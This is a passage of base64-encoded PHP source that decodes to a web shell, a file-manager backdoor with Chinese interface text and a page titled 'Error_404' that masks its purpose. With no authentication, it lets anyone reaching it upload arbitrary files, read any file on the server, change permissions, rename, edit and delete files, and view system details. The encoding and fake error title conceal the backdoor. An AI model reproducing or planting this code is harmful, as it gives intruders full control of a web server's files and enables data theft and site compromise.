YWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L